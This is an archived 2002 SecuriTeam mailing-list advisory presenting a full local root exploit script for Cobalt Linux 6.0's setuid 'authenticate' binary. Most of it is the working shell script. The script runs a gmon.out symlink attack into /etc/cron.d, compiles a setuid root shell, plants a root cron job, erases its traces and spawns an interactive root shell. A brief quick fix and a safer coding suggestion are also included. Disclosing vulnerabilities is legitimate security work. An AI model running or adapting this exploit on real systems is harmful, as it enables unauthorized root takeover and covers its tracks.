

Securiteam: [EXPL] Cobalt Linux Local Root Exploit (authenticate)

# [EXPL] Cobalt Linux Local Root Exploit (authenticate)

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-08/0074.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 08/21/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Wed, 21 Aug 2002 14:33:08 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

-----

Cobalt Linux Local Root Exploit (authenticate)

---

## SUMMARY

The following is a local exploit code for the Cobalt Linux hardware, the vulnerability exploits a local vulnerability that would allow a local attacker to gain root privileges.

## DETAILS

Vulnerable systems:

\* Cobalt Linux version 6.0

Exploit:

```
#!/bin/sh
```

```
#
```

```
# Cobalt Linux 6.0 Local Root Exploit
```

```
#
```

```
# Effects: <= apache-1.3.20-RaQ4_1C3 (AFAIK all Cobalt Linux Apache ;)
```

```
# Quick Fix: su - root -c "chmod 755 /usr/lib/authenticate"
```

```
#
```

```
# Problem Source Code:
```

```
# fd = open("gmon.out", O_WRONLY|O_CREAT|O_TRUNC, 0666);
```

```
#
```

[EXPL] Cobalt Linux Local Root Exploit (authenticate)

## Securiteam: [EXPL] Cobalt Linux Local Root Exploit (authenticate)

```
# Suggested Code:
# fd = mkstemp("/tmp/gmon.out-XXXXXX");
#
# Still need help Cobalt developers? Ok:
# man 3 tmpfile; man 2 open; echo "Thanks core"
#
# by Charles Stevenson <core@bokeoa.com>
#
# Fri Jun 28 03:35:53 MDT 2002
# - initial version
# Sun Jul 7 20:12:41 MDT 2002
# - added some features for robustness

echo "RaQFuCK.sh by core"

target="/usr/lib/authenticate"
tempdir="/tmp"

if [ -u /.sushi ] ; then
    exec /.sushi
fi

printf "Checking for $target..."
if [ -f "$target" ] ; then
    echo "done."
else
    echo "NO!"
    exit 1
fi

printf "Checking if $target is setuid root..."
if [ -u "$target" ] ; then
    echo "done."
else
    echo "NO! Hrm... does this admin have a clue???"
    exit 1
fi

if [ ! -d "$tempdir/core" ] ; then
    printf "Creating $tempdir/core..."
    if ! mkdir "$tempdir/core" 2>/dev/null ; then
        echo "FAILED!" ; exit 1
    fi
    echo "done."
fi

printf "Changing directory to $tempdir/core..."
if ! cd "$tempdir/core" 2>/dev/null ; then
    echo "FAILED!" ; exit 1
else
    echo "done."
```

```

fi

printf "Creating cron.d symlink..."
if ! ln -fs /etc/cron.d/core gmon.out 2>/dev/null; then
    echo "FAILED!" ; exit 1
else
    echo "done."
fi

printf "Changing umask..."
if ! umask 000 ; then
    echo "FAILED!" ; exit 1
else
    echo "done."
fi

printf "Compiling root shell..."
cat >sushi.c <<EOF
#include <unistd.h>
int main (int argc, char **argv, char **envp) {
    setuid(0);
    setgid(0);
    execve("/bin/sh",argv,envp);
    return -1;
}
EOF
if ! cc sushi.c -o sushi 2>/dev/null; then
    echo "FAILED!" ; exit 1
else
    echo "done."
fi

printf "Compiling cron takeover..."
cat >takeover.c <<EOF
#include <stdlib.h>
main() { system("cp $tempdir/core/sushi /.sushi ; chmod 6777 /.sushi"); }
EOF
if ! cc takeover.c -o own 2>/dev/null; then
    echo "FAILED!" ; exit 1
fi
echo "done."

printf "Performing symlink attack..."
printf "\n\n\n\n" | "$target"
if [ -u /etc/cron.d/core ] ; then
    echo "SYMLINK ATTACK FAILED!" && exit 1
else
    echo "done."
fi

```

## Securiteam: [EXPL] Cobalt Linux Local Root Exploit (authenticate)

```
printf "Setting up evil cron job..."
cat >croncore <<EOF
*/1 * * * * root if [ -x "$tempdir/core/own" ] ; then "$tempdir/core/own";
fi
EOF
if ! cat croncore 2>/dev/null >/etc/cron.d/core; then
    echo "FAILED!" ; exit 1
else
    echo "done."
fi

printf "Waiting for root shell"
while [ ! -u /.sushi ] ; do
    sleep 1 ; printf "."
done
echo "done."

cd /

printf "Cleaning up real quick..."
if ! /.sushi -c "rm -rf $tempdir/core /etc/cron.d/core"; then
    echo "FAILED??? Fuck it!"
else
    echo "done."
fi

echo "Spawning root shell!!! God Damn! I say GOD DAMN!!!"
if ! exec /.sushi -i; then
    echo "Exec Failed!!! BUMMER!" ; exit 1
fi
```

### ADDITIONAL INFORMATION

The information has been provided by <mailto:[core@bokeoa.com](mailto:core@bokeoa.com)> Charles Stevenson.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Securiteam: [EXPL] Cobalt Linux Local Root Exploit (authenticate)

- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[\[UNIX\] Mantis's Limiting Output to Reporters Can be Bypassed](#)"
- **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)